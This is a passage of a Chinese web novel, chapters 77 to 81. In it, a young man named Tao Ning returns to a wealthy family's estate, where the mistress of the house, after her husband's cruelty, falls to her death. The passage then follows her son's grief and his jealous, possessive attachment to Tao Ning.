而这时候,黑色Revuelto的气浪音孔雀开屏似地轰炸校园,一路来到陶柠身边,还按了低沉的喇叭,车窗缓缓下降,露出宋郁丛戴墨镜的脸,他一只手随意搭在车沿,另一边车门自动开启。“上来,跟我回去。” 陶柠站在原地没动,宋郁丛嘴角拉下去时,裤口袋里的手机响了,陶柠背过身接电话,“怎么还不来?我放学了。” 电话那头沉默了片刻,轻哄他:“对不起宝宝,我这边有点事情,你先回宋家几天,过几天后老公再来接你好么?” “噢。” 难怪赵静群今天早上说的是“以后”,陶柠踢了一下脚底的石子,声音闷闷的,还没多问几句,宋郁丛在车里不耐烦道:“有完没完了?快过来。”语气里有说不出的嫉妒和怒火。 没办法,陶柠只好挂了电话,磨磨蹭蹭上了车。 而电话挂断的瞬间,“砰”的一声巨响!几十里外的办公室内实木椅瞬间被踹断,赵静群攥紧拳头,目光冰冷。 孙老二在旁边抹了把汗,他也没想到宋二少那个纨绔又提出来一个交换条件,竟然是让他们把陶柠送回宋家。 如果不送回去,以前所有条件都作废,这简直是拿毒针往他们赵少心肺里戳啊。 第77章 第 77 章 美丽天真 “你手上的表谁送的?”心底跟明镜似的, 宋郁丛就是明摆着看陶柠手上的表不顺眼,挤兑一句。 陶柠第一次坐超跑,满心满眼都是好奇, 但是他不敢乱动,因为车部零件太多了, 对他来说都是高科技,安全带都是宋郁丛给他系的, 但宋郁丛就没有系安全带,双手也随意搭在方向盘上。 “噢我表哥。”回过神,陶柠专注地看向前方宽敞的风景, 街上不断有行人回头注目。 果不其然,陶柠刚说“表哥”两个字,身旁便重重的冷哼一声, 随后有些咬牙切齿的味道:“你们一个拜把子的关系, 他送你百达翡丽?” 陶柠不认识这个牌子, 应该说他不认识所有的名牌, 以前是因为穿的吃的喝的陶圆一手给他包揽了,甚至衣服都是一针一线缝出来的, 现在吃的穿的喝的又让赵静群给包了,他买什么陶柠就穿什么,不关注衣服背后竟然还有牌子这种东西。 听宋郁丛的语气, 陶柠觉得这件事不对劲:“他说就几百块,真实价格很贵吗?”如果超过一千块,他就会还回去,因为陶柠觉得一千块的表已经是昂贵的范围了。 宋郁丛瞥了一眼身旁呆毛还没压下去的人,戴着黑框眼镜,又呆又土, 忽然就理解了赵静群为什么要把四百多万的表说成几百块,沉默片刻,他干咳几声:“就几百块的垃圾。” “噢。” “我再给你一块,你现在把他送的扔了。”车辆已经驶入城郊,宋郁丛把车停在路边,把手上正在戴的表扔到陶柠腿上,车窗缓缓下降。 手表通体全黑,最亮眼的是表盘内部的武士盔甲持双刃的雕刻花纹,四周有齿轮式花型嵌入,表盘最上方刻有“RICHARO MILLE”的英文字母,很像一块造型独特的玩具表。 “不能扔。” 宋郁丛瞪眼,“一个四百块的垃圾你还把它当回事了?”他的表价值千万还有价无市,这土包子竟然无动于衷,还又把表递了过来,是不是脑子缺根筋。 “四百块已经很贵了那样做很不礼貌。” 知道改变不了陶柠的想法,宋郁丛气得锤了一下方向盘,低沉的喇叭声向四周扩散。他恶狠狠盯着递过来的手表,冷漠道:“我送的你要是敢拒绝,我就马上把你两块表都扔了。” “” 陶柠百分百相信宋郁丛干得出这种事,沉默片刻叹了口气,他发现自己拿宋郁丛真的没有任何办法,如果用陶圆的话来说,就是有些人是天生克他的。 只好放软声音说:“那我回去把表收好。” “你收哪块?” 陶柠点了一下武士表盘,“这块。” 不料这句话又点燃了身旁的炸药包,几乎是在陶柠耳边怒吼:“你说什么?他送的就戴在手上?我送的就要收起来?!” “不、不是。” “他那破表就四百块,我送的一千多,凭什么不戴我送的?!” “” 最后回到宋家庄园,陶柠下车,佣人来迎接他们的时候,被少年左手百达翡丽,右手理查德米勒的豪迈给小小惊了一下,真没想到刚来时穿洗到发白旧衣物的乡下人,现在竟然已经视金钱如粪土了!而且人家神情淡漠,从外表完全看不出来是故意戴两只名表嘚瑟的。 这就是炫耀的最高境界吗?佣人内心肃然起敬,连带着觉得少年清瘦的背影镀上了一层金光闪闪的光芒,令人不敢逼视。 不知是不是陶柠的错觉,他发现佣人们比起从前神色更加匆忙,别墅内弥漫的氛围紧张凝滞,仿佛山雨欲来的征兆。宋郁丛走在前面,脸色紧绷。 客厅内传来噼里啪啦的声响,名贵的瓷瓶和茶具碎了一地,有些碎片甚至滑行了十几米,迸溅到陶柠的裤脚上,随后是女人声嘶力竭的声音:“谁让你把那些贱人带回来的?!滚!你给我滚!这里是我家,你滚出去!” 主人家的事不是佣人能够好奇的,他们识相低头,装聋作哑。但宋荣国脸上的面子依旧挂不住,眼前的女人是他二十多年前靠甜言蜜语哄来的富家千金,那时她美如天上星月,被无数男人奉为女神追求。 但那些人知道高岭之花只可远观不可亵渎,自知配不上这位名门贵女,新鲜感过去后追求便不了了之。只有宋荣国无意发现——这位外表冷漠美艳的女人,内里竟然单纯天真到不可思议,没过多久便被他哄骗上床。 事后说爱他,这辈子非他不嫁。 多么美丽又多么天真的大小姐。 宋荣国冷冷看着现在头发凌乱,跟疯子似的女人,她依旧肤若凝脂,面若桃李,如当年般妩媚,但令他厌恶的是,也依旧任性不可理喻。 试问他们这个阶级的人士,尤其是男人,哪个不是三妻四妾?他没弄出来私生子已经是给她面子了,只有这个被宠坏了蠢女人相信一世一双人的鬼话! “把夫人带下去。”宋荣国冷哼,这女人现在除了哭就是闹,问她剩余的遗嘱在哪里也不说话,满嘴都是爱不爱她的神经病问题,他烦得要死。 现在还让他丢面子,宋荣国最后的耐心所剩无几。 “滚开!别碰我!” 而沙发上坐着一身白色西装的宋珩,闻言只是淡淡地瞥了他们一眼,随后像不感兴趣似的,垂眸看报品茶,听到门口的动静,视线扫了过去。 宋郁丛脸色极其难看,浑身绷得很紧,陶柠跟在他身后,进也不是退也不是,好在似乎所有人都把这边当作空气,几乎没人注意到门口这边。 前面的男人忽然挡住他,低声道:“你先上去。” “好。”陶柠转身的脚步一顿,“我等你。” 宋郁丛的脸色瞬间好看了许多,直到沙发上的男人放下报纸,淡漠的一张脸露出温和的笑容,“厨房的晚餐做好了,吃点东西再上去吧。” 众人的视线全部望向门口,宋郁丛不爽道:“关你屁事,乡巴佬,你你怎么了?” 他神情变得紧张,一把将陶柠拉进怀里,这才发现怀中的人在微微颤抖,瞳孔紧缩,素来没太多情绪的脸上满是震惊与复杂,还带了点恐慌的意味,仿佛已经被名为难以置信的滔天巨浪淹没了。 他反过来抓住宋郁丛的手臂,纤细的手指用尽全力收紧。 宋郁丛忍着疼,但没说放手,因为陶柠现在的模样很不同寻常,就像听见了极为可怕的东西。“是不是病发了?” 纤细的手指跟着颤栗,陶柠感觉到身后的视线由温和转为玩味,正放肆审视、打量他,胃部一阵翻涌,他迅速低下头:“没事。” 第78章 第 78 章 一只坠落的蝴蝶 从回卧室到半躺在床上, 陶柠一言不发,家庭医生正拿仪器给他检查,说没有大碍注意按时吃药后就走了。 宋郁丛一直紧绷的神情放松下来, “喂,乡巴佬?怎么不说话?”然而床上的人依旧思绪飘到了天外, 双目失神,没有理会他的话。 瞬间沉下脸, 宋郁丛踹了一脚床沿,“砰”的一声响,陶柠的思绪拉了回来。 那双笼了薄雾的眼眸看过来, 就像是第一次认识宋郁丛似的,一动不动盯着他的脸。 “看什么看?”在陶柠近乎直勾勾的目光下,宋郁丛的耳根不自然地腾红, 瞪着眼睛:“再看我我就” 视线落在盖在陶柠身上的被子, “我就拿被子闷你!” “” 陶柠无视他的幼稚, 认真问:“宋珩是你亲哥哥吗?我是说有血缘关系的亲兄弟, 同一个父母生的兄弟。” 宋郁丛皱眉,“问这个做什么?”他黑着脸, “瞎眼看上他了?还是你背着我跟他好上了?” 只要陶柠嘴里出现其他男人,宋郁丛心底就会无端生出怒火,根本无法控制情绪。 饶是陶柠好脾气的人, 有时候也真的想撬开宋郁丛的脑子看看,他脑子里一天到晚都在装些什么? 好像在宋郁丛的眼里,全世界的男的似乎都跟他有一腿,恐怕陶柠提一只公蚂蚁,宋郁丛都会觉得这只公蚂蚁喜欢他。 “没有。”陶柠硬邦邦说,他不想跟宋郁丛说话了, 打算换个人继续问,“阿云去哪里了?下车后都没见过阿云。” 宋郁丛的脸色有些古怪,“我让他收拾铺盖滚了。” 意思是把阿云给辞退了,陶柠下床的动作顿住,秀眉蹙起:“为什么?阿云人很好的,是做错事了吗” “陶柠,你不提其他男人心里不舒坦是吧?”宋郁丛火气噌一下上来了,醋坛子也全部打翻,他就听不得陶柠提其他男人的名字,谁都不行。 来到海州的这几个月,陶柠除了长了见识,还有被人宠出来的小脾气,根本就不怕宋郁丛了,再加上他此刻心底很着急,藏着事,迫不及待想要去求证一件事。 于是没有好气道:“你这人怎么那么讨厌?仗势欺人、霸道自私,问你话又总是能扯到那方面去,你烦不烦?” 烦不烦——你烦不烦? 这还是陶柠第一次用如此重的语气说话,“烦不烦”这三个大字不断在宋郁丛耳边环绕,他脸色肉眼可见变白,最后惨白如纸,嘴唇甚至都有些颤抖。 但下一秒,宋郁丛双眼迅速猩红,双手如铁钳住陶柠的肩膀,灼热到滚烫的呼吸喷在陶柠的脸上。 “你为了他吼我?!”暴跳如雷的声音震动整个卧室,“你他妈敢为了一个佣人吼我?!” 陶柠忍着怒意,挣扎道:“放开。” 但眼前的男人已经彻底失控,非但没有松手,反而愈发用力攥紧他,恶狠狠的视线像是要把他生吞活剥了。 突然冷笑说:“也是,我差点忘了,你跟他是同类,不仅娘娘腔还一副穷酸样,也就你这种货色能跟下贱的佣人搞起来” 从前陶柠当宋郁丛是任务对象,对他难听的话可以忍耐,如今却没有缘由般再也无法忍受,因为这些话像淬了毒的药刺激着他。 “啪”的一声响! 清脆的声响让本就凝固的气氛降至冰点,男人偏头,仿佛有一盆冷水瞬间泼灭他失去理智的气焰,佝偻脊背,他迟迟未语,维持一个僵硬的姿势。 “对不起。”陶柠瞬间愧疚,觉得自己也有错,明知道宋郁丛因为过去的事情可能有心理疾病,应该更耐心一点跟他说话的,慌乱道:“疼不疼?让我看看。” 想要触碰脸颊的手被拍开了,男人低着头,不去看陶柠,“滚。” “宋郁丛” “滚!我让你滚啊!滚开!” 宋郁丛边咆哮边往后退,面目狰狞,高大的身躯却开始剧烈发颤,好似一只被主人逼回笼子的困兽。 陶柠看见他这副模样,心脏忽然没由来的疼,只能软着声音安抚他:“我现在就走,你要冷静点。” 他穿上鞋想出去找医生,结果还没走到卧室门口,“轰隆”一身响!身后传来巨物倒地的声音。 陶柠猛地转身,只见宋郁丛蜷缩在地上,嘴唇哆嗦,那双血红的眼睛却似仇恨又似偏执一直盯着他,就像陶柠如果走了,他便要活生生溺死在水里。 即使这间卧室没有水池。 陶柠吓了一跳,连忙冲上前,“摔到哪儿了?宋郁丛,你还能听见我说话吗?” 陶柠吓得语无伦次,想要把他扶起来,但力气太小了根本抬不动。 而倒在地上的人一边攥紧他的手,一边声音发颤说:“你你滚我不要你你滚” 这都什么时候了?嘴还那么硬!陶柠气急了,只好大声喊人。 幸好卧室外面刚好有佣人送点心过来,听到声响急忙破门而入,看见地上浑身发抖的宋郁丛,吓得手上的盘子都要打碎了,急忙去喊救护车,场面一度混乱。 楼下书房里,噼里啪啦! 书房里所有的东西都被摔了个稀巴烂,昂贵的瓷器、装有枯萎花苞的花瓶、刻有人像的幼稚咖啡杯 最后是角落里落灰的结婚照,照片上的女人笑颜如花,海藻般的长发束成了一个公主发髻,白色头纱静静落在幸福的眉眼间,仿佛银色星河。 直到裂痕爬上她美丽的脸颊,但她依旧静静的,透过碎裂的玻璃,注视书房里二十年后的自己。 女人赤裸双脚踩在碎瓷片上,猩红的血液瞬间溢出,她却像感觉不到疼痛一样,身穿迎亲时的红色秀禾,衣服上精致璀璨的珍珠随她疯狂的动作叮当作响。 “你够了吴玥!” “不够!不够!!” 沙哑的嘶吼声让面部狰狞,宋夫人大口大口喘着气,发红的眼睛似哭似笑,她像是在声音上压制了眼前的男人一样,又或是说,她的声音吸引了男人的注意力,这让她高兴。 她掉下一滴泪,“你总说我疯了,宋荣国”说到这里,她轻微哽咽,“你以前从不会凶我你忘了吗?” 宋荣国满脸不耐,就连眼角的细纹都充满了厌恶,他深吸几口气,看到她脚底的鲜血,心里微动。 他突然想起很多年前,女人学着那些电影里的故事,笨拙地给他绣鸳鸯荷包,却不小心划破了手指,只落了一滴血,却为此哭着撒娇,说好疼好疼,他哄了她好几天。 但这些画面仅仅是一闪而过。 很快,宋荣国内心毫无波澜,即使他知道,只要他露出关心的神色,眼前这个蠢女人就能为他做出一切。 只是他现在连装都不想装了,“你少扯那些陈年旧事,不害臊么吴玥?你今年也四十五六了吧?以为自己是什么十七八岁的少女?认清楚自己,不要动不动就跟泼妇一样,还把这件衣服穿出来,不嫌丢人么” “你不爱了我了吗?”女人却像听不见他说的话,那双含泪的眼睛看着他。 宋荣国觉得她是彻底疯了,呵斥道:“纠结这些问题有意思么?你不是早知道了,我跟你在一起就是图你家的钱,现在各过各的,最后半辈子还能互相给点体面。” “那你爱我吗?” “吴” “你说啊!!”宋夫人尖叫着打断他的话,语无伦次道:“你说话,你说过你爱我的!你说话!” 宋容国冷眼看着她大喊大叫,最后讽刺:“疯子。” 他转身想走,却被女人一把抓住手,身后的人哭着说:“你是爱我的对不对,宋荣国,你是爱我的” 尖锐且没有打理的指甲掐进肉里,宋荣国手臂刺痛,他想着这几天焦头烂额,警局那边三番五次过来,一堆事情在等着他处理,而家里却有个疯子不让他好过,刺痛挑断了他最后一根紧绷的神经。 终于忍无可忍,宋荣国回头一巴掌扇了过去,重重的巴掌打得的女人跌倒在地,干枯的长发凌乱,遮挡了她全部神情。 “你有完没完?!”宋荣国愤怒不已,怒吼道:“要点脸吧吴玥!好,既然你想让我亲口说,那我就告诉你——” “我宋荣国,从头到尾没有爱过你!从头到尾对你都是利用!” 女人垂着头颅,一言不发。 书房内静到甚至能听见一根针落下,宋荣国的愤怒平息下来,冷着脸问:“以后别提那些东西,我再问你一遍,你爸留给宋郁丛的那份遗嘱在哪儿?” 女人依旧沉默不语。 最后,书房内只剩下重重的摔门声。 楼下,救护车刺耳的警笛声响彻整个别墅,陶柠和佣人扶着浑身发颤的宋郁丛朝门外慢慢走过去。 从卧室到楼下,宋郁丛嘴里只有“滚”这个字,手却紧紧攥着陶柠的手腕,不肯放开,仿佛他唯一的救命稻草。 众人要走至门口时——砰的一声巨响! 红色的影子从天而至,好似一只娇艳的蝴蝶坠落在地,顷刻间,殷红的血液似花朵般绽开,又像滚烫的岩浆,将所有人一同拉入永无止境的死亡。 “啊啊啊!死人了!!!” “夫人——!” “宋郁丛!” “来人啊!死人了!!” 有几滴温热的血液溅到了宋郁丛脸上,眼泪似地滑落,他浑身僵硬,像是不会动弹了一样,只能听见四周混乱扭曲的尖叫。 女人浸透鲜血的双眼,没有生气的、温柔的,注视他流泪的眼睛。 第79章 第 79 章 510 宋夫人的葬礼定在三日后举办, 对外称是沉疴宿疾发作抢救无效死亡。 只有极少数人知道其真实死因,有些记者闻风过来,想探究这场当年霸占头版头条的世纪豪门婚姻背后的秘密, 然而宋家的佣人们对此更是忌讳莫深,记者只能遗憾离场。 而佣人们感觉忌讳, 不仅是因为庄园的女主人忽然跳楼自杀了,其他男主人的态度也非常诡异。 宋老爷坐在简易的灵堂一晚上, 第二天便稀松平常与前来吊唁的客人谈笑风声,还有宋家的大少爷,佣人们一直以为他和宋夫人的感情最深, 得知噩耗后会哭晕过去,不料大跌眼镜的是,自始至终大少爷都像个无关紧要的旁观者。 见到宋夫人的遗体时, 不说眼泪了, 连表情都没有。 最令人意外的是二少爷, 佣人们都知道他和宋夫人积怨已深, 虽然亲眼看见宋夫人在面前死去,但比起绝望, 更多的是恐惧和如释重负吧。 所有人都是这么认为的,除了陶柠。 宋夫人死在面前时,他受到了不小的惊吓, 但依旧忍着恐惧去安抚身旁的宋郁丛,因为他看见了宋郁丛眼底莫大的悲哀和崩溃,只是表现在外时,就只有眼泪而已。 “宋郁丛!” 陶柠想抱紧他,却被男人拉进怀里,眼睛被他颤抖的手捂住, 陶柠听见头顶哆嗦的声音,“别看陶柠不要看。” 分明是男人抱着他在安慰,但高大的身躯却不停颤抖,嘴里语无伦次说着“不要看,陶柠”,无论如何看也不像是在安慰别人,更像是急切、迫切需要从怀里的人汲取温暖和求生的意味。 “不要看陶柠不要看。” 宋郁丛叫陶柠不要看,自己却看着地上冰冷的尸体,双目无神。 陶柠甚至被宋郁丛冰冷的手冻得一哆嗦,心里很难受,用双手回抱他,拍着他发抖的后背,不停地安抚,轻拍,最后用温柔到像羽毛的声音安抚男人,“我不看,我不看宋郁丛,听我说话吧,宋郁丛,我不看,你也不要看了,我们先回去好吗?求你宋郁丛,我们先回去。” 可能是陶柠说到最后快要哭了,精神有些失常的男人才停止语无伦次的话,他像是如梦初醒,那双和母亲极像的美目才倏然划过一丝活着的生气——怀里的人在因为他感到害怕,声音带着哽咽。 然而他眼前全是红色的血,没有尽头的鲜血,每个人身上都是黏腻恐怖的血液,尤其是地上那双死不瞑目的双眸,直到怀中人的哭腔将他从恐惧中拉回现实,也只有怀里的人实实在在告诉他,他是活着的。 宋郁丛强迫自己从母亲的尸体上移开视线,看向怀里的人,看到陶柠害怕的眼睛时,视线内的鲜血才悄无声息没了。 陶柠成了他眼睛里唯一没有沾染鲜血的人。 宋郁丛看着他,慢动作回放一般,点了下头,又点了下头,“好我们回去我们回去。” 救护车、殡仪馆的车等等声音让整座别墅陷入失控的地步,外界对宋夫人的死众说纷纭。 但没过多久,宋家的大少爷宋珩便出来主持场面,面对无数记者的闪光灯和刁钻的提问,都被温和的笑容和不变的说辞一一挡了回去。 当晚海州新闻和港媒便铺天盖地刊登了此事,有惋惜当年有“香港明珠”之称的吴氏千金消香玉陨,还有搞豪门虐恋情深的阴谋论,怀疑这是一场谋杀,也有新闻讨论吴玥死后的遗产处置,最后一小部分则在赞叹宋家大公子的处事不惊。 而陶柠被宋郁丛牵着手重新回到卧室,佣人和家庭医生鱼贯而入,医生给宋郁丛注射了镇定剂,才把宋郁丛强行拉住陶柠的手分开。 陶柠一直紧绷的心才稍微放下,与此同时,鲜血淋漓的画面和宋珩的声音仍旧在脑海里盘旋。 黑暗如潮水袭来,陶柠陷入了昏迷。 他又做了一个很熟悉的梦,这一次,他的眼前不再是黑暗了,陶柠终于能看见一条发光的缝,他从缝隙中窥见外面,发现自己竟然浸泡在一个巨大的玻璃容器里,无数黑色的管子朝向自己。 陶柠想低头,却动不了,只能看见一望无际的白色,但令他感到恐惧的是,入目所及的地方,竟然有好几个浸泡在透明溶液里的“人”,他们全身赤裸,身上插.满了黑色的管子。 所有管子汇集在房间中央,而中央有一个七八米高的悬空转盘正在高速旋转。 能够清楚看见黑色管子里的液体经过转盘后再次流出,最后汇入容器里,仿佛一个庞大的中央处理器,容器里的“人”只有依靠这个中央处理器才能保持鲜活。 但这些不是令陶柠感到恐惧的,而是容器里的“人”,相貌和自己一模一样。 这个认知令陶柠无所适从,梦境如此真实,以至于甚至不敢再通过这条可以窥见光明的缝隙看黑暗以外的世界。 直到他再次睁开眼,看见了一个人的眼睛。 这是一个男人,穿着手术室里类似的白大褂。陶柠从未见过,这个男人的五官非常平淡,是到放到人群里绝对找不着的模样,他不知何时站在面前,正似笑非笑盯着自己。 以男人为中心,他身边还站着几个同样穿白大褂的人,好几双眼睛同样看过来。 陶柠形容不出是那什么样的眼神,就像他在电视里看到的,那些去动物园的游客吧,那些游客看动物时的眼神,正如这些人一样。 那自己是动物吗? 陶柠觉得这个梦境太荒谬了,他想醒过来,却无济于事。 直到男人盯着自己,嘴唇一张一合,陶柠看不懂他说了什么,与此同时,自己所在的容器内水流动了起来,他们身后的黑色转盘飞快旋转,陶柠忽然感觉耳朵剧痛,下一刻,他忽然能听见窸窸窣窣的动静了。 这些动静由大及小,由远及近,直到陶柠能清楚听见一道声音—— “今天是五月十号,那就叫510吧。”男人笑容温和,“听见了么,510?” 即使在梦境里,陶柠也能感觉自己浑身僵硬,因为这道声音,正与他那天回卧室时所听见的,宋珩的声音,与他脑海里出现的第二个系统的声音,一模一样。 第80章 第 80 章 流氓话 陶柠惊醒的时候, 脑袋昏昏沉沉无法思考,他抬起手,却发现手背上扎着针, 长长的输液管上方悬挂着药液袋,还没等他想自己又出了什么问题。 “咔嚓”一声, 卧室门打开了。 冷漠毫无生气的视线扫过来,直到看见陶柠睡眼惺忪的模样, 狭长的凤眸里才亮起一点光,宋郁丛脸色很差,一身黑色西装, 左胸口处别了白色纸菊,他阔步来到床头,身后还跟着家庭医生。 “给他再检查一遍。” “是, 少爷。” 因为陶柠经常生病的缘故, 家庭医生已经很熟悉陶柠的病情了, 先是换了新的药液袋, 随后从医药箱里拿出仪器给陶柠量体温、检查心肺等功能。 冰凉的机械触及温热的肌肤,陶柠忍不住瑟缩。宋郁丛皱眉说:“你轻点, 弄疼他了。” 医生:“”检查而已,怎么可能会弄疼?但他只是个拿工资办事的,因此上司叫他轻点, 手上的动作就更温柔了。 只是医生没想到,脾气又臭又差的宋二少竟然也会有疼人的一天,估摸着是最亲近的人过世了,一夜之间成熟了很多吧。 检查完毕,医生告诉宋郁丛:“烧还没有退,需要再观察一个晚上, 如果第二天还是发烧,必须要转去医院。”又嘱咐了些饮食清淡,不能过冷过热,情绪也不能大起大落之类的事情,才提着医药箱离开。 但情绪不能大起大落陶柠估计做不到了,因为只要想起宋夫人的死亡,他心里就难受,宋夫人美丽而笑吟吟的模样仿佛如昨日,那时他初来宋家,提着笨重的行李从头至脚都是无措。 唯独宋夫人拉过他的手,女人温软的肌肤令陶柠不由自主想起了阿姐,心底的局促被逐渐抚平可是意外总是来的太快。 陶柠头一次觉得,宋家偌大精美的别墅是一座长满虱子的囚笼,外表华丽,内里早已腐朽不堪。 “乡巴佬,陪我睡会儿。” 低沉沙哑的声线拉回了陶柠的思绪,他看向眼前高大的男人,苍白俊美的脸上满是别扭的情绪,唯独眼睛里的脆弱和渴求快要溢出来了。 好像在说,如果不答应,不抱他,下一秒,他也会变成母亲那样的蝴蝶,从这座奢靡的囚笼顶端坠落。 陶柠被这个想法吓住了,“好。”只是声音哑到不成样子。 宋郁丛蹙眉,转身去倒了杯温水,回来却见少年躺在床上,乖乖巧巧的,两只手向伸出来,是一个求抱的姿势。 不料男人只注意到他手背上的青紫,宽大修长的手抓住陶柠扎了针的手腕,不悦道:“乱动什么?” 想给你一个拥抱,陶柠腹诽,只能怪宋郁丛太笨了,这都看不出来。他被男人捞进怀里,微凉的玻璃杯碰到嘴唇。 久旱逢甘霖,少年喝得有些急,结果养尊处优惯了的男人不仅笨,伺候人的事也很笨拙,动作粗鲁,弄得大部分水顺着陶柠清瘦白皙的锁骨落进睡衣里。 “咳咳咳”陶柠呛得直咳嗽,用力推开宋郁丛,埋怨的话到了嘴边,看见他浓重的黑眼圈,又说不出话了。 倒是男人臭着脸说:“喝个水还能呛到,你是三岁小孩么?” 嘴上这么说着,动作却手忙脚乱,宋郁丛喊了佣人拿一套干净的睡衣进来,接着低头给陶柠擦拭呛出来的水。 陶柠怔怔地看着男人压低的眉眼,神情别扭却很认真,小心翼翼的模样还带了几分不易察觉的讨好,就像如果不这么做,他就会被抛弃。 陶柠不自觉地心疼,而男人白色领带上依旧裹挟初次见面时幽静的木香,很淡的味道,却在不知不觉里,与他身上清甜的柠檬香混合,密不可分。 宋郁丛担心陶柠着凉了,解开他的扣子想换上睡衣,一只柔软的手忽然勾住脖子,力度很轻,伴随令人恬静的果香。 “别乱动。”宋郁丛低声呵斥。 然而陶柠只是轻轻一扯,高个的男人却倒在身上,感受到他身体的僵硬,陶柠用没有扎针的手拍了拍宋郁丛的背,轻声说:“宋郁丛,谢谢你,不要难过我会陪着你。” 我会陪着你。 陶柠看不见男人的表情,只是听见耳廓的呼吸声,这句话说出来后,男人的呼吸明显一滞,略微急促,紧接着,不知过了多久,有冰凉的液体落在颈侧,像雨珠似的,一颗一颗落进陶柠心底。 宋郁丛紧闭双眸,死死抱着怀里的人,眼前闪过无数混乱的画面,有满是鲜血的母亲、宾客虚伪的问候、灵堂里的死寂仿佛回到了很多年前,他无能为力缩在黑暗的禁闭室。 他哭喊着求人救救他,可没有人在意。 直到少年潋滟温柔的双眸出现,牵起他的手,拥抱他,说会陪着他,温柔软糯的声音,熄灭了一场燃烧十多年愤怒而绝望的火焰。 他在此时此刻,终于觉得自己是活着的,被人爱着的。 陶柠感觉哭声逐渐小了下去,悄悄松了口气,他很担心宋郁丛刚开始平静的模样,因为物极必反,一根弦如果长久紧绷,稍微风吹草动就会断了。 人也是这样的,情绪压积多了,不发泄出来,会崩溃掉。 过了半晌,箍住腰肢的手臂收紧,陶柠听见耳边的人凶巴巴说:“不准说出去。” 弯了弯眼睛,陶柠道:“我要说出去。” “” 唰的一下,刚才还抱着他的男人抬起头,瞪着他,眼角还挂着泪,“你敢?” “我敢的。” 宋郁丛咬牙,发现这土包子真是越来越不怕他了,现在还一副有恃无恐的模样。 分明是个又土又呆的乡下土包子,可那双漂亮的眼睛弯弯的,月牙似的,视线肆无忌惮盯过来。 心脏又开始不受控制乱跳,宋郁丛感觉自己喉咙发紧,耳根子热得厉害,他脑子一片空白,干脆捂住陶柠勾人的双眸,色厉内荏说:“那你好大的胆子。” “嗯。” 陶柠扯开他的手,想了想,还是说出来:“你戳到我了,不舒服。” “” 少年说这句话的时候,一副清纯无辜,浅棕色的瞳孔干净清澈,直白到仿佛意识不到,自己说出来的话能勾得男人神魂颠倒。 宋郁丛感觉头顶要冒烟了,像被这句话烫到般跳了起来,后退时差点摔倒在地,憋了半天,面红耳道:“……你,你从哪儿学来的流氓话!”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-90 第81章 第 81 章 关于性方面的事情 豪门操办葬礼的仪式众多, 流程隆重,包括设灵、公祭、出殡等环节,何况是当年在港商中举足轻重的吴氏长女过世, 其仪式流程只会更严谨繁杂,因此政商两界的人士来了一大半。 华国权威新闻报道此事, 还有马来西亚、新加坡、英国等媒体赶赴海州。 数不清的人挤在蔷薇花纹铁门外,只为获得豪门死亡内幕第一手资料, 或者想拍到某位名流的八卦照片,一博眼球。 与其说是葬礼,不如说是宋家在趁此机会加强政商之间的联系。因此上百个佣人忙得脚不沾地, 几乎很少有人去关注别墅二楼的情况,除非是主人们吩咐要送东西过去。 但是昨晚一夜,宋郁丛都在抱着陶柠睡觉, 偶尔醒过来抚摸身旁人的额头, 看看温度有没有降下去, 除此之外, 没有把佣人喊来打扰不易的清净。 陶柠窝在宋郁丛怀里,身后的人体温很低, 而他正发着低烧,对周围的温度感知略微失常,宋郁丛从背后抱着他, 陶柠觉得被一个高大的人形冰块抱住了。 感觉冷想动,但是赵静群最近教会他的东西很多,陶柠知道自己这个时候还是不要动比较好,否则宋郁丛又要说他在讲流氓话。 四周很静,只能听见彼此的呼吸声,卧室的隔音效果一流, 但偶尔还是有很轻很轻的汽车声从窗外传来,陶柠知道,那是来宋家悼念的人,还请来了高僧诵经。明天是公祭,如果烧褪了,陶柠也会下去悼念。 他有些想陶圆、小檬、系统、阿云还有赵静群和徐隽他们了。 “宋郁丛。”陶柠背对着身后的人,“你跟我说实话,为什么要辞退阿云?” 身后久久无言,片刻,男人冷哼一声,紧接着闷闷的声音传来,陶柠能感受到他胸腔的震动,“我要把宋荣国弄到监狱里去,让他在里面蹲到死,这座庄园我也会卖掉,还留着那些佣人做什么?他们都不是什么好东西。哼我的事情,你少管。” 男人说这些话的时候,语气虽别扭骄矜,但话里话外的憎恶毫无掩饰,仿佛即将冲破这座囚笼的困兽,回过头来,要将囚笼里的人全部咬死,唯独放过了与陶柠有关的人。 原来是这样,陶柠感觉有一片乌云飘过来压在头顶,按照宋郁丛的说法,宋家也许不久后要出大变故了,他知道原因,但并不会劝宋郁丛放下过去的恩怨,只会担忧他。 “噢那要小心点。”但是想了半天,陶柠也不知道该怎么安慰他,“有需要我的地方,我会竭尽全力帮你。” 环住他腰肢的手臂收紧了,身后传来一声哼笑,声音里却是怎么也藏不住的愉悦,“你个乡巴佬能帮我做什么?”随后的声音有些沉闷,“病成这副模样自身都难保,老实在我身边待着。” 好心当作驴肝肺,陶柠用脚丫很轻地踹了身后的人一下,小声反驳:“怎么不能了?你若是事情没办好,他们要抓你,我能给你算怎么跑最省力。” 乡巴佬不仅没多少良心,还变得伶牙俐齿。宋郁丛气得压住他作乱的腿,两人的距离由此更近,只要稍微一动,便能感受到彼此所有的心跳和情绪。 旖旎的温度悄无声息蔓延,宋郁丛怒气瞬间没了,黯淡的光线下,他近乎沉迷地盯着陶柠露出的耳尖,还有碎发后白皙似天鹅的脖颈。 温香软玉在怀,叫人情不自禁想凑上去咬上几口。 片刻,不自在地移开目光,宋郁丛松开怀里的人,尤其是下半身离他远了点,试探性问:“喂,乡巴佬你你有没有做过那种事?” “什么事?” “就那种事。” 沉默片刻,陶柠说:“你不说出来,我不知道是哪种事。” 他不知道,身后的人脸腾一下红了,加重语气说:“就是那种事!” 陶柠再次沉默,过了半晌,翻了个身,盯着前方眼神闪烁,满脸通红的人,无奈道:“我真的猜不出来究竟是哪种事。” 宋郁丛气得要命,咬牙脱口而出道:“就是你和人上床了!”说出口的瞬间,宋郁丛就盯着陶柠的面部表情看,没想到这土包子没有一点儿表示,连羞赧都没有,他愤愤不已,面部瞬间狰狞,“你是不是背着我和其他人上床了?!” 陶柠不知道该怎么回答,因为不久前刚有人逼问过他,虽然逼问的方式不同,但质疑的内容是相似的。 他想说实话,关于亲吻、关于性方面的事情他对这些事情的感知和体验,只来自于攻略的三人。不是排斥那些事情,而是陶柠的兴趣不在于此。 但眼下只能先把人安抚好了,陶柠说:“没有。” 果不其然,这句话让宋郁丛无形之中要点燃的炸弹瞬间熄灭,冷哼道:“谅你也不敢,别忘了,你还是我的奴隶。你的你的身体只能属于我。” 